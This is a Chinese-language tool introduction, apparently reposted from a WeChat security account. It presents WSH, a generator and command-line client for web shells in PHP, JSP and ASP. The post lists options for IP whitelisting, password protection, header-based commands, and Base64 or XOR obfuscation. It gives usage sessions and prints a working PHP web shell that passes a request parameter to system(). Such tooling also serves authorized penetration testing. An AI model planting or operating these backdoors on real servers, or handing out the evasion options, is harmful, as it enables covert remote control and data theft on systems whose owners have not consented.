关于WSH
功能介绍
-
通过命令行跟部署的Webshell交互; -
日志记录; -
使用PHP、JSP和ASP生成Webshell; -
IP白名单; -
密码保护; -
通过自定义Header和参数发送命令; -
文件上传/下载; -
针对ASP或PHP版本的Webshell进行Base64编码; -
针对ASP或PHP版本的Webshell进行异或加密;
工具下载
git
clone
https:
//github.com/EatonChips/wsh.git
工具使用
连接
wsh <URL> [flags]
-X, --method
string
HTTP method: GET, POST, PUT, PATCH, DELETE (
default
"GET"
)
--param
string
Parameter
for
sending command
--header
string
Header
for
sending command
-P, --
params
strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config
string
Config file
-k, --ignore-ssl Ignore invalid certs
--log
string
Log file
--prefix
string
Prepend command:
'cmd /c'
,
'powershell.exe'
,
'bash'
--
timeout
int
Request timeout
in
seconds
(
default
10
)
--trim-prefix
string
Trim output prefix
--trim-suffix
string
Trim output suffix
-h, --help help
for
wsh
生成
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --
method
string
HTTP
method
(
GET,POST,PUT,PATCH,DELETE
) (
default
"GET"
)
-p, --param
string
Parameter
for
sending command
--header
string
Header
for
sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile
string
Output file
--no-file Disable file upload/download capabilities
--pass
string
Password protect shell
--pass-header
string
Header
for
sending password
--pass-param
string
Parameter
for
sending password
--xor-header
string
Header
for
sending xor key
--xor-key
string
Key
for
xor encryption
--xor-param
string
Parameter
for
sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template
string
Webshell template file
-h, --help help
for
generate
客户端使用/文件IO
WSH中所有Webshell都需要实现相同的上传/下载逻辑:
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1>
help
get <remote filepath> [
local
filepath] Download file
put <
local
filepath> [remote filepath] Upload file
clear Clear screen
exit
exit
Exits shell
生成器样例
简单的Shell
下列命令可以生成一个简单的PHP Webshell,并跟其进行交互:
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh
127.0
.
0
.
1
:
8080
/shell.php --param cmd
<?php
$MfOb = $_REQUEST[
'cmd'
];
$MfOb = trim($MfOb);
system($MfOb);
die;
我们还可以通过HTTP Header来发送命令:
wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$
wsh 127.0.0.1:8080/shell.php --header user-agent
白名单设置
wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
密码保护
我们还可以通过Header或参数来发送密码:
$ wsh generate php --no-file --param cmd --
pass
S3cr3t --
pass
-param
pass
$ wsh
127.0
.0
.1
:
8080
/shell.php --param cmd -P
pass
:S3cr3t
$ wsh generate php --no-file --param cmd --
pass
S3cr3t --
pass
-header
pass
-header
$ wsh
127.0
.0
.1
:
8080
/shell.php --param cmd -H
pass
-header:S3cr3t
项目地址
WSH:https://github.com/EatonChips/wsh 侵权请私聊公众号删文
原文始发于微信公众号(LemonSec):WSH:一款功能强大的Web Shell生成器和命令行接口工具
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论